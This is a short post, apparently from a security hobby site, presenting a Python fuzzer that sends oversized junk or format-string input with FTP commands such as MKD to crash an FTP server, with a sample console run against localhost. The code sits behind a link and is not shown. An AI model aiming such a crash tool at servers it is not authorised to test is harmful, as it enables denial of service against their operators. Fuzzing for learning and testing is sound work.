Simple FTP Fuzzer [python]

This code will try to crash the FTP server, it's useless, and helpful for the newbies to advance their understanding on fuzzing/exploitation techniques during python programming.
The Code : http://pastebin.com/VWqZVRJE , (tested on freefloat ftp)

python ftpfuzzer.py
Do you need help? PO(PO if yes)
app   : security-hooligan simplest-ftp-fuzzer
w0t   : bla bla bla
> ip   : 127.0.0.1
[*] Connecting to the target ..
[*] Connecting successful
> anonymous user and password : Y/NY
1 format_string
2 ch_junk
> 2
 ** bunch of possible commands displayed **
> Command : Y/NY
> Command : MKD
[+] package size : 400
[*] Sending our evil package
[*] Evil package sent.
[*] Closing the connection and checking if it works
[*] Reconnecting to the server..
[*] Evil attack succeded.

source : security-hooligan.com